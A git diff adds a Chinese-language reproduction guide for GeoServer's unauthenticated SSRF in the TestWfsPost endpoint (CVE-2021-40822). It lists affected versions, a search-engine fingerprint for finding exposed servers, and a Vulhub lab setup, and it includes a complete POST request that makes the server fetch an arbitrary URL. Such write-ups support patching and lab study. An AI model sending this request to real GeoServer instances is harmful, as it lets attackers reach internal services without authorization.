diff --git a/中间件漏洞/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822.md b/中间件漏洞/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822.md new file mode 100644 index 0000000..6a2b13b --- /dev/null +++ b/中间件漏洞/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822.md @@ -0,0 +1,67 @@ +# GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822 + +## 漏洞描述 + +GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。 + +在 GeoServer 2.19.3、2.18.5 和 2.17.6 版本之前,WMS GetMap 请求中存在服务器端请求伪造(SSRF)漏洞。攻击者可以利用此漏洞通过 GeoServer 服务器向内部或外部服务发送请求。 + +参考链接: + +- https://github.com/advisories/GHSA-rr33-j5p5-ppf8 +- https://nvd.nist.gov/vuln/detail/CVE-2021-40822 + +## 漏洞影响 + +``` +GeoServer <= 2.18.5 +GeoServer >= 2.19.0, <= 2.19.2 +``` + +## 网络测绘 + +``` +app="GeoServer" +``` + +## 环境搭建 + +Vulhub 执行如下命令启动一个 GeoServer 2.19.1 服务器: + +``` +docker compose up -d +``` + +服务启动后,你可以在 `http://your-ip:8080/geoserver` 查看到 GeoServer 的默认页面。 + +![](images/GeoServer%20TestWfsPost%20接口未授权%20SSRF%20漏洞%20CVE-2021-40822/image-20250207163904383.png) + +## 漏洞复现 + +漏洞存在于 TestWfsPost 接口中。攻击者可以利用 `url` 参数使服务器向任意 URL 发送请求。该接口接受以下参数: + +- `url`:GeoServer 将要发送请求的目标 URL +- `body`:要发送的请求体内容。如果此参数为空,GeoServer 将发送 GET 请求;如果包含任何值,则 GeoServer 将发送 POST 请求 +- `username`:基础认证的用户名(可选) +- `password`:基础认证的密码(可选) + +发送如下请求来复现漏洞: + +``` +POST /geoserver/TestWfsPost HTTP/1.1 +Host: testasp.vulnweb.com +Accept-Encoding: gzip, deflate +Accept: */* +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Pragma: no-cache +Content-Length: 99 + +form_hf_0=&url=http%3A%2F%2Ftestasp.vulnweb.com%2Fgeoserver%2F..%2F&body=testtest&username=admin&password=admin +``` + +比如,使用 `testasp.vulnweb.com` 作为目标 URL,你将看到 `testasp.vulnweb.com` 的响应。 + +![](images/GeoServer%20TestWfsPost%20接口未授权%20SSRF%20漏洞%20CVE-2021-40822/image-20250207165801701.png) + +注意:`url` 参数中的主机名必须与请求中的 `Host` 头部值相同,否则 GeoServer 会返回错误。例如,如果 `url` 参数中的主机名是 `internal`,那么请求中的 `Host` 头部值也必须是 `internal`。 diff --git a/中间件漏洞/images/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822/image-20250207163904383.png b/中间件漏洞/images/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822/image-20250207163904383.png new file mode 100644 index 0000000..643a665 Binary files /dev/null and b/中间件漏洞/images/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822/image-20250207163904383.png differ diff --git a/中间件漏洞/images/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822/image-20250207165801701.png b/中间件漏洞/images/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822/image-20250207165801701.png new file mode 100644 index 0000000..02d9d07 Binary files /dev/null and b/中间件漏洞/images/GeoServer TestWfsPost 接口未授权 SSRF 漏洞 CVE-2021-40822/image-20250207165801701.png differ